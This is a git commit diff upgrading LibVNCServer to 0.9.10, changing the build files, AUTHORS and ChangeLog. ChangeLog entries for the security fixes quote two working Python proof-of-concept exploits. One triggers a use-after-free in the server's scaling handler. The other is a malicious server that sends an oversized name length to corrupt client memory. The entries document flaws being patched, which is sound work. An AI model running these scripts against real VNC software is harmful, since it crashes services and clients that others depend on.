Upgrade vnc to 0.9.10
Change-Id: Ibcbe76b051fac68bca0f8adc751cefb3d407dd03
(cherry picked from commit 31e31fcc1ac7ba889759d5d0db3f73f12e47b64c)
(cherry picked from commit ebeb9d1dca89946665fee5dfb2f24955aee5ad5d)
(cherry picked from commit 76d215b0ae253597441c86c0cdfe6bc97f3af748)
(cherry picked from commit 2225130f7fb3be0af4773012d1fae39a15960659)
(cherry picked from commit 256b4d93537d1ed5a1714ce31d8bd0c6c2be2a4d)
(cherry picked from commit 1d80c6a8d34f59543f7df1963c22d7efa292bcb0)
diff --git a/AUTHORS b/AUTHORS
index 76b17b5..c63772d 100644
--- a/AUTHORS
+++ b/AUTHORS
@@ -35,7 +35,10 @@
Alexander Dorokhine, Corentin Chary, Wouter Van Meir, George Kiagiadakis,
Joel Martin, Gernot Tenchio, William Roberts, Cristian Rodríguez,
George Fleury, Kan-Ru Chen, Steve Guo, Luca Stauble, Peter Watkins,
-Kyle J. McKay, Mateus Cesar Groess, Philip Van Hoof and D. R. Commander.
+Kyle J. McKay, Mateus Cesar Groess, Philip Van Hoof, D. R. Commander,
+Rostislav Lisovy, Oliver Loch, Raphael Kubo da Costa, Amandeep Singh,
+Brian Bidulock, Daniel Cohen Gindi, David Verbeiren, Luca Falavigna,
+Matthias Treydte, Nicolas Ruff and Robbert Klarenbeek.
Probably I forgot quite a few people sending a patch here and there, which
really made a difference. Without those, some obscure bugs still would
diff --git a/CMakeLists.txt b/CMakeLists.txt
index 6d4a5f9..269805f 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -11,17 +11,20 @@
set(PACKAGE_NAME "LibVNCServer")
set(FULL_PACKAGE_NAME "LibVNCServer")
-set(PACKAGE_VERSION "0.9.9")
+set(PACKAGE_VERSION "0.9.10")
+set(VERSION_MAJOR "0")
+set(VERSION_MINOR "9")
+set(VERSION_PATCHLEVEL "10")
set(PROJECT_BUGREPORT_PATH "http://sourceforge.net/projects/libvncserver")
set(CMAKE_C_FLAGS "-O2 -W -Wall -g")
-set(LIBVNCSERVER_DIR ${CMAKE_SOURCE_DIR}/libvncserver)
-set(COMMON_DIR ${CMAKE_SOURCE_DIR}/common)
-set(LIBVNCCLIENT_DIR ${CMAKE_SOURCE_DIR}/libvncclient)
-set(LIBVNCSRVTEST_DIR ${CMAKE_SOURCE_DIR}/examples)
-set(LIBVNCCLITEST_DIR ${CMAKE_SOURCE_DIR}/client_examples)
+set(LIBVNCSERVER_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver)
+set(COMMON_DIR ${CMAKE_CURRENT_SOURCE_DIR}/common)
+set(LIBVNCCLIENT_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncclient)
+set(LIBVNCSRVTEST_DIR ${CMAKE_CURRENT_SOURCE_DIR}/examples)
+set(LIBVNCCLITEST_DIR ${CMAKE_CURRENT_SOURCE_DIR}/client_examples)
-include_directories(${CMAKE_SOURCE_DIR} ${CMAKE_BINARY_DIR} ${CMAKE_SOURCE_DIR}/libvncserver ${CMAKE_SOURCE_DIR}/common)
+include_directories(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver ${CMAKE_CURRENT_SOURCE_DIR}/common)
find_package(ZLIB)
find_package(JPEG)
@@ -67,14 +70,25 @@
message(WARNING "*** The libjpeg library you are building against is not libjpeg-turbo. Performance will be reduced. You can obtain libjpeg-turbo from: https://sourceforge.net/projects/libjpeg-turbo/files/ ***")
endif()
-set(CMAKE_REQUIRED_LIBRARIES resolv)
-check_function_exists(__b64_ntop HAVE_B64)
+# On systems such as GNU/Linux with glibc, __b64_ntop is defined in a
+# separate library, libresolv. On some others, such as FreeBSD, it is
+# part of libc itself. We first check if __b64_ntop is found without
+# additional libraries, and then try looking for it with libresolv if
+# the first test fails.
+check_function_exists(__b64_ntop HAVE_B64_IN_LIBC)
+if(NOT HAVE_B64_IN_LIBC)
+ set(CMAKE_REQUIRED_LIBRARIES resolv)
+ check_function_exists(__b64_ntop HAVE_B64_IN_LIBRESOLV)
+ set(CMAKE_REQUIRED_LIBRARIES)
+
+ if(HAVE_B64_IN_LIBRESOLV)
+ set(RESOLV_LIB "resolv")
+ endif(HAVE_B64_IN_LIBRESOLV)
+endif(NOT HAVE_B64_IN_LIBC)
if(Threads_FOUND)
option(TIGHTVNC_FILETRANSFER "Enable filetransfer" ON)
endif(Threads_FOUND)
-if (HAVE_B64)
-endif(HAVE_B64)
if(ZLIB_FOUND)
set(LIBVNCSERVER_HAVE_LIBZ 1)
endif(ZLIB_FOUND)
@@ -89,26 +103,29 @@
if(GNUTLS_FOUND)
set(LIBVNCSERVER_WITH_CLIENT_TLS 1)
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (gnutls)" ON)
- set(WEBSOCKET_LIBRARIES -lresolv ${GNUTLS_LIBRARIES})
+ set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${GNUTLS_LIBRARIES})
set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_gnutls ${LIBVNCSERVER_DIR}/rfbcrypto_gnutls)
elseif(OPENSSL_FOUND)
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (openssl)" ON)
- set(WEBSOCKET_LIBRARIES -lresolv ${OPENSSL_LIBRARIES})
+ set(WEBSOCKET_LIBRARIES ${RESOLV_LIB} ${OPENSSL_LIBRARIES})
set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_openssl ${LIBVNCSERVER_DIR}/rfbcrypto_openssl)
else()
option(LIBVNCSERVER_WITH_WEBSOCKETS "Build with websockets support (no ssl)" ON)
- set(WEBSOCKET_LIBRARIES -lresolv)
+ set(WEBSOCKET_LIBRARIES ${RESOLV_LIB})
set(WSSRCS ${LIBVNCSERVER_DIR}/rfbssl_none.c ${LIBVNCSERVER_DIR}/rfbcrypto_included.c ${COMMON_DIR}/md5.c ${COMMON_DIR}/sha1.c)
endif()
if(LIBGCRYPT_LIBRARIES)
message(STATUS "Found libgcrypt: ${LIBGCRYPT_LIBRARIES}")
set(LIBVNCSERVER_WITH_CLIENT_GCRYPT 1)
+ set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${LIBGCRYPT_LIBRARIES})
endif(LIBGCRYPT_LIBRARIES)
+check_include_file("endian.h" LIBVNCSERVER_HAVE_ENDIAN_H)
check_include_file("fcntl.h" LIBVNCSERVER_HAVE_FCNTL_H)
check_include_file("netinet/in.h" LIBVNCSERVER_HAVE_NETINET_IN_H)
+check_include_file("sys/endian.h" LIBVNCSERVER_HAVE_SYS_ENDIAN_H)
check_include_file("sys/socket.h" LIBVNCSERVER_HAVE_SYS_SOCKET_H)
check_include_file("sys/stat.h" LIBVNCSERVER_HAVE_SYS_STAT_H)
check_include_file("sys/time.h" LIBVNCSERVER_HAVE_SYS_TIME_H)
@@ -150,8 +167,8 @@
# LIBVNCSERVER_ENOENT_WORKAROUND
# inline
-configure_file(${CMAKE_SOURCE_DIR}/rfb/rfbconfig.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbconfig.h)
-configure_file(${CMAKE_SOURCE_DIR}/rfb/rfbint.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbint.h)
+configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbconfig.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbconfig.h)
+configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbint.h.cmake ${CMAKE_BINARY_DIR}/rfb/rfbint.h)
set(LIBVNCSERVER_SOURCES
${LIBVNCSERVER_DIR}/main.c
@@ -256,13 +273,14 @@
add_library(vncclient SHARED ${LIBVNCCLIENT_SOURCES})
add_library(vncserver SHARED ${LIBVNCSERVER_SOURCES})
if(WIN32)
- set(ADDITIONAL_LIBS ws2_32)
+ set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ws2_32)
endif(WIN32)
target_link_libraries(vncclient
${ADDITIONAL_LIBS}
${ZLIB_LIBRARIES}
${JPEG_LIBRARIES}
+ ${GNUTLS_LIBRARIES}
)
target_link_libraries(vncserver
${ADDITIONAL_LIBS}
@@ -336,16 +354,16 @@
endif(HAVE_FFMPEG)
-file(MAKE_DIRECTORY ${CMAKE_BINARY_DIR}/examples)
+file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples)
foreach(test ${LIBVNCSERVER_TESTS})
add_executable(examples/${test} ${LIBVNCSRVTEST_DIR}/${test}.c)
target_link_libraries(examples/${test} vncserver ${CMAKE_THREAD_LIBS_INIT})
endforeach(test ${LIBVNCSERVER_TESTS})
-file(MAKE_DIRECTORY ${CMAKE_BINARY_DIR}/client_examples)
+file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples)
foreach(test ${LIBVNCCLIENT_TESTS})
add_executable(client_examples/${test} ${LIBVNCCLITEST_DIR}/${test}.c ${LIBVNCCLITEST_DIR}/${${test}_EXTRA_SOURCES} )
- target_link_libraries(client_examples/${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${GNUTLS_LIBRARIES} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES})
+ target_link_libraries(client_examples/${test} vncclient ${CMAKE_THREAD_LIBS_INIT} ${X11_LIBRARIES} ${SDL_LIBRARY} ${FFMPEG_LIBRARIES})
endforeach(test ${LIBVNCCLIENT_TESTS})
install_targets(/lib vncserver)
diff --git a/ChangeLog b/ChangeLog
index 13cde9f..3953dd4 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,842 @@
+2014-10-21 Christian Beier <dontmind@freeshell.org>
+
+ * NEWS: Update NEWS.
+
+2014-10-21 Christian Beier <dontmind@freeshell.org>
+
+ * libvncserver/sockets.c: Update comments regarding
+ rfbClientConnectionGone().
+
+2014-10-21 Christian Beier <dontmind@freeshell.org>
+
+ * libvncserver/scale.c: Fix Use-After-Free vulnerability in
+ LibVNCServer wrt scaling. Reported by Ken Johnson <Ken.Johnson1@telus.com>. The vulnerability would occur in both the rfbPalmVNCSetScaleFactor
+ and rfbSetScale cases in the rfbProcessClientNormalMessage function
+ of rfbserver.c. Sending a valid scaling factor is required
+ (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not
+ accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg,
+ sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n",
+ msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale,
+ cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger
+ a free. return; at the end, both cases there is a call the rfbSendNewScaleSize
+ function, where if the connection is subsequently disconnected after
+ sending the VNC scaling message can lead to a free occurring. else { rfbResizeFrameBufferMsg rmsg; rmsg.type = rfbResizeFrameBuffer; rmsg.pad1=0; rmsg.framebufferWidth =
+ Swap16IfLE(cl->scaledScreen->width); rmsg.framebufferHeigth
+ = Swap16IfLE(cl->scaledScreen->height); rfbLog("Sending a response
+ to a UltraVNC style frameuffer resize event (%dx%d)\n",
+ cl->scaledScreen->width, cl->scaledScreen->height); if
+ (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
+ rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); << Call which may can lead
+ to a free. return FALSE; } } return TRUE; Once this function returns, eventually rfbClientConnectionGone is
+ called again on the return from rfbProcessClientNormalMessage. In
+ KRFB server this leads to an attempt to access client->data. POC script to trigger the vulnerability: ---snip--- import socket,binascii,struct,sys from time import sleep class RFB: INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a" AUTH_NO_PASS = "\x01" AUTH_PASS = "\x02" SHARE_DESKTOP = "\x01" def AUTH_PROCESS(self,data,flag): if flag == 0: # Get security types secTypeCount = data[0] secType = {} for i in range(int(len(secTypeCount))): secType[i] = data[1] return secType elif flag == 1: # Get auth result # 0 means auth success # 1 means failure return data[3] def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD): try: from Crypto.Cipher import DES except: print "Error importing crypto. Please fix or do not
+ require authentication" sys.exit(1) if len(PASSWORD) != 8: PASSWORD = PASSWORD.ljust(8, '\0') PASSWORD_SWAP =
+
+ [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]PASSWORD =
+
+
+
+ (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))crypto = DES.new(PASSWORD) return crypto.encrypt(data) def reverse_bits(self,x): a=0 for i in range(8): a += ((x>>i)&1)<<(7-i) return a def main(argv): print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" try: HOST = sys.argv[1] PORT = int(sys.argv[2]) except: print "Usage: python setscale_segv_poc.py <host> <port>
+ [password]" sys.exit(1) try: PASSWORD = sys.argv[3] except: print "No password supplied" PASSWORD = "" vnc = RFB() remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote.connect((HOST,PORT)) # Get server version data = remote.recv(1024) # Send 3.8 version remote.send(vnc.INIT_3008) # Get supported security types data = remote.recv(1024) # Process Security Message secType = vnc.AUTH_PROCESS(data,0) if secType[0] == "\x02": # Send accept for password auth remote.send(vnc.AUTH_PASS) # Get challenge data = remote.recv(1024) # Send challenge response remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD)) elif secType[0] == "\x01": # Send accept for None pass remote.send(vnc.AUTH_NO_PASS) else: print 'The server sent us something weird during auth.' sys.exit(1) # Get result data = remote.recv(1024) # Process result result = vnc.AUTH_PROCESS(data,1) if result == "\x01": # Authentication failure. data = remote.recv(1024) print 'Authentication failure. Server Reason: ' + str(data) sys.exit(1) elif result == "\x00": print "Authentication success." else: print 'Some other authentication issue occured.' sys.exit(1) # Send ClientInit remote.send(vnc.SHARE_DESKTOP) # Send malicious message print "Sending malicious data..." remote.send("\x08\x08\x00\x00") remote.close() if __name__ == "__main__": main(sys.argv) ---snap---
+
+2014-10-14 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #43 from maksqwe/fix_rfbSelectBox Fix selData.buttonWidth calculation
+
+2014-10-10 Christian Beier <dontmind@freeshell.org>
+
+ * libvncclient/rfbproto.c: Fix possible libvncclient ServerInit
+ memory corruption. This fixes the following oCERT report (oCERT-2014-008 pt.2): There is a similar vulnerability to the previous one I sent. This is
+ related to the ServerInit message where the width, the height of the
+ server's framebuffer, its pixel format, and the name are sent to the
+ client. The name can be used in a malicious manner to trigger a
+ memory corruption in the client. Field Size --------------------------------- name-length
+ [4] name-string [name-length] Below you will find a PoC script to show the vulnerability. This was
+ tested on Fedora 20 with the latest version of krdc. I have noticed something, where the memory corruption causes the
+ program to hang but allows you to try to disconnect. After this it
+ hangs. Occasionally there will be segmentation fault in memcpy. This
+ can become more reliable if you connect to a different VNC server
+ first (Or the wrong port on the malicious server) then connecting to
+ the malicious port. Every time I accidentally made the wrong VNC
+ connection attempt the next time I connected it segfault'd. Just run the script it will listen on port 5900 and connect to it
+ with krdc for example. I have observed Remmina crash more reliably. import socket,struct,sys HOST = "" PORT = 5900 c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ c.bind((HOST,PORT)) c.listen(1) conn,addr = c.accept() print "Connected by ", addr protocolVersion3008 =
+ "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
+ conn.send(protocolVersion3008) data = conn.recv(1024) # Receive the version from them. secTypeNone = "\x01\x01" secTypeAuth = "\x01\x02"
+ conn.send(secTypeNone) data = conn.recv(1024) # Receive the secType choice from them. secResultOk = "\x00" * 4 secResultNo = "\x00\x00\x00\x01"
+ conn.send(secResultOk) data = conn.recv(1024) # Receive the ClientInit (Shared-flag). frameBufferWidth = 0x0480 frameBufferHeight = 0x0360 bitsPerPixel =
+ 0x20 depth = 0x18 bigEndian = 0x1 trueColor = 0x0 redM = 0x0 greenM
+ = 0x0 blueM = 0x0 redS = 0x0 greenS = 0x0 blueS = 0x0 padding =
+ "\x00\x00\x00" nameLength = 0xffffffff nameString = "AA" * 0xFFFF +
+ "\x00\x0a" conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth,
+ frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM,
+ greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I",
+ nameLength) + nameString ) c.close()
+
+2014-10-10 Christian Beier <dontmind@freeshell.org>
+
+ * libvncclient/sockets.c: Fix potential memory corruption in
+ libvncclient. Fixes (maybe amongst others) the following oCERT report
+ ([oCERT-2014-008]): LibVNCServer HandleRFBServerMessage rfbServerCutText malicious
+ msg.sct.length It looks like there may be a chance for potential memory corruption
+ when a LibVNCServer client attempts to process a Server Cut Text
+ message. case rfbServerCutText: { char *buffer; if (!ReadFromRFBServer(client, ((char *)&msg) + 1, sz_rfbServerCutTextMsg - 1)) return FALSE; msg.sct.length = rfbClientSwap32IfLE(msg.sct.length); <<
+ Retrieve malicious length buffer = malloc(msg.sct.length+1); << Allocate buffer. Can
+ return 0x0 if (!ReadFromRFBServer(client, buffer, msg.sct.length)) <<
+ Attempt to write to buffer return FALSE; buffer[msg.sct.length] = 0; << Attempt to write to buffer if (client->GotXCutText) client->GotXCutText(client, buffer, msg.sct.length); <<
+ Attempt to write to buffer free(buffer); break; } If a message is provided with an extremely large size it is possible
+ to cause the malloc to fail, further leading to an attempt to write
+ 0x0.
+
+2014-10-09 Christian Beier <dontmind@freeshell.org>
+
+ * NEWS: Update NEWS for 0.9.10.
+
+2014-10-09 Christian Beier <dontmind@freeshell.org>
+
+ * AUTHORS: Update AUTHORS.
+
+2014-10-07 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #42 from LibVNC/autotools-fix-revisited Add autoconf macros that might not be installed with a usual
+ autotools setup
+
+2014-10-07 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * autogen.sh: Add back a working autogen.sh There was no reason to get rid of the convenient script. Most
+ developers who are not in love with autoconf fail to remember that
+ autoreconf invocation, therefore it is better to have something
+ working in place. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-09-01 Nicolas Ruff <nruff@google.com>
+
+ * libvncserver/rfbserver.c: Fix stack-based buffer overflow There was a possible buffer overflow in rfbFileTransferOffer message
+ when processing the FileTime. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-10-07 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #41 from newsoft/master Fixing 2 security issues
+
+2014-10-06 newsoft <newsoft@gmx.fr>
+
+ * libvncserver/scale.c: Make sure that no integer overflow could
+ occur during scaling
+
+2014-10-06 Christian Beier <dontmind@freeshell.org>
+
+ * libvncclient/Makefile.am: Add libvncclient/h264.c to dist tarball. Otherwise the sources from a 'make dist' package wouldn't compile.
+
+2014-10-03 Christian Beier <dontmind@freeshell.org>
+
+ * m4/.gitignore: Really add empty m4 subdirectory. This change kinda got lost with the last commit re-splitting.
+
+2014-10-02 Christian Beier <dontmind@freeshell.org>
+
+ * : Merge pull request #38 from LibVNC/autotools-fix-revisited Autotools fix revisited.
+
+2014-10-02 Christian Beier <dontmind@freeshell.org>
+
+ * webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
+ webclients/novnc/include/base.css,
+ webclients/novnc/include/base64.js,
+ webclients/novnc/include/black.css,
+ webclients/novnc/include/blue.css,
+ webclients/novnc/include/chrome-app/tcp-client.js,
+ webclients/novnc/include/des.js,
+ webclients/novnc/include/display.js,
+ webclients/novnc/include/input.js,
+ webclients/novnc/include/jsunzip.js,
+ webclients/novnc/include/keyboard.js,
+ webclients/novnc/include/keysym.js,
+ webclients/novnc/include/keysymdef.js,
+ webclients/novnc/include/playback.js,
+ webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
+ webclients/novnc/include/util.js,
+ webclients/novnc/include/web-socket-js/web_socket.js,
+ webclients/novnc/include/websock.js,
+ webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
+ webclients/novnc/vnc_auto.html: Update noVNC HTML5 client to latest
+ version from https://github.com/kanaka/noVNC.
+
+2014-09-21 Brian Bidulock <bidulock@openss7.org>
+
+ * .gitignore: add a few more ignores
+
+2014-09-21 Brian Bidulock <bidulock@openss7.org>
+
+ * autogen.sh: removed autogen.sh - no longer applicable: use autoreconf -fiv
+
+2014-10-02 Christian Beier <dontmind@freeshell.org>
+
+ * INSTALL, acinclude.m4, ltmain.sh: Remove autotools-related files
+ that will get installed by autoreconf -i.
+
+2014-10-02 Brian Bidulock <bidulock@openss7.org>
+
+ * Makefile.am, configure.ac: Use an m4 script subdirectory, fix
+ automake init and two macro names.
+
+2014-10-02 Brian Bidulock <bidulock@openss7.org>
+
+ * client_examples/Makefile.am, examples/Makefile.am,
+ examples/android/Makefile.am, libvncclient/Makefile.am,
+ libvncserver/Makefile.am, test/Makefile.am: Rename obsolete INCLUDES
+ to AM_CPPFLAGS
+
+2014-09-30 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
+ Close unclosed comments ;-) Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-09-30 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #36 from danielgindi/master A forgotten `#ifdef WIN32` broke UNIX build.
+
+2014-09-30 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #33 from danielgindi/master More MSVC adjustments, now focuses on the libvncserver
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
+ These are UNIX headers, and are not available on MSVC
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * rfb/rfb.h: Those are generally the windows headers, not just MinGW
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/rfbserver.c: On windows, use the Win32 calls for
+ directory enumerations. We also do not need the conversion between UNIX values to Windows
+ values in the RTF_FIND_DATA struct, as we already are on windows.
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/httpd.c, libvncserver/rfbserver.c,
+ libvncserver/sockets.c, rfb/rfbclient.h: Generally adjusting headers
+ for compiling on windows without the mixing of Winsock 1 and 2.
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/rfbserver.c: Just use a macro to bridge to the Win32
+ version of `mkdir` The additional compat_mkdir function was not necessary at all.
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * compat/msvc/sys/time.h: Use correct `winsock2.h` version header
+ instead of winsock.h. `windows.h` is referring to `winsock.h` (unless the
+ `WIN32_LEAN_AND_MEAN` is defined). The structs used in this header
+ are defined in `winsock2.h` or in `winsock.h`, but we are using
+ Winsock2 of course! So we have to include winsock2.h and refrain
+ from including windows.h here
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/httpd.c, libvncserver/rfbserver.c,
+ libvncserver/sockets.c: Fixed a violation of the C89 standard
+ ("declarations must come before instructions")
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/tightvnc-filetransfer/filetransfermsg.c: A windows
+ version for directory enumerations Basically taken from https://github.com/danielgindi/FileDir with
+ some adjustments
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/tightvnc-filetransfer/filetransfermsg.c: MSVC also
+ has the __FUNCTION__ predefined
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/tightvnc-filetransfer/filetransfermsg.c,
+ libvncserver/tightvnc-filetransfer/filetransfermsg.h:
+ `CreateDirectory` might clash with the
+ `CreateDirectoryA`/`CreateDirectoryW` macros on MSVC
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fail when
+ NULL is passed to CreateFileListInfo() Passing NULL to sprintf() would most likely crash the program.
+
+2014-09-20 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/rfbproto.c, libvncclient/vncviewer.c,
+ libvncserver/rfbserver.c, libvncserver/sockets.c,
+ libvncserver/stats.c, libvncserver/websockets.c: `strings.h` and
+ `resolv.h` are not available on MSVC, and some POSIX functions are
+ renamed or deprecated For all of those missing/deprecated POSIX functions, we just add a
+ macro mapping to the _underscored version of MSVC.
+
+2014-09-09 Christian Beier <dontmind@freeshell.org>
+
+ * client_examples/Makefile.am: The HAVE_X11 define is not there
+ anymore, but we don't need it either.
+
+2014-09-09 Christian Beier <dontmind@freeshell.org>
+
+ * Makefile.am, configure.ac, vncterm/ChangeLog, vncterm/LinuxVNC.c,
+ vncterm/Makefile.am, vncterm/README, vncterm/TODO,
+ vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
+ vncterm/example.c, vncterm/vga.h: Move vncterm to
+ https://github.com/LibVNC/vncterm.
+
+2014-09-09 Christian Beier <dontmind@freeshell.org>
+
+ * VisualNaCro/.gitignore, VisualNaCro/AUTHORS,
+ VisualNaCro/ChangeLog, VisualNaCro/Makefile.am, VisualNaCro/NEWS,
+ VisualNaCro/README, VisualNaCro/autogen.sh,
+ VisualNaCro/configure.ac, VisualNaCro/default8x16.h,
+ VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl:
+ Move VisualNaCro to https://github.com/LibVNC/VisualNaCro.
+
+2014-09-09 Christian Beier <dontmind@freeshell.org>
+
+ * prepare_x11vnc_dist.sh: Move prepare_x11vnc_dist.sh over to x11vnc
+ repo.
+
+2014-09-03 Christian Beier <dontmind@freeshell.org>
+
+ * Makefile.am, configure.ac: Remove x11vnc from autotools build
+ system.
+
+2014-09-03 Christian Beier <dontmind@freeshell.org>
+
+ * tightvnc-1.3dev5-vncviewer-alpha-cursor.patch: Remove
+ tightvnc-1.3dev5-vncviewer-alpha-cursor.patch.
+
+2014-09-03 Christian Beier <dontmind@freeshell.org>
+
+ * x11vnc/.cvsignore, x11vnc/8to24.c, x11vnc/8to24.h,
+ x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
+ x11vnc/RELEASE-NOTES, x11vnc/allowed_input_t.h, x11vnc/appshare.c,
+ x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h,
+ x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c,
+ x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h,
+ x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
+ x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
+ x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c,
+ x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h,
+ x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c,
+ x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h,
+ x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h,
+ x11vnc/misc/.cvsignore, x11vnc/misc/LICENSE,
+ x11vnc/misc/Makefile.am, x11vnc/misc/README, x11vnc/misc/Xdummy,
+ x11vnc/misc/blockdpy.c, x11vnc/misc/connect_switch,
+ x11vnc/misc/desktop.cgi, x11vnc/misc/dtVncPopup,
+ x11vnc/misc/enhanced_tightvnc_viewer/COPYING,
+ x11vnc/misc/enhanced_tightvnc_viewer/README,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl
+ oad.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down
+ load.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca
+ tion.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo
+ ad.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc
+ e.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down
+ load.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca
+ tion.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do
+ wnload.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo
+ cation.url,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co
+ nf,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co
+ nf,
+ x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url,
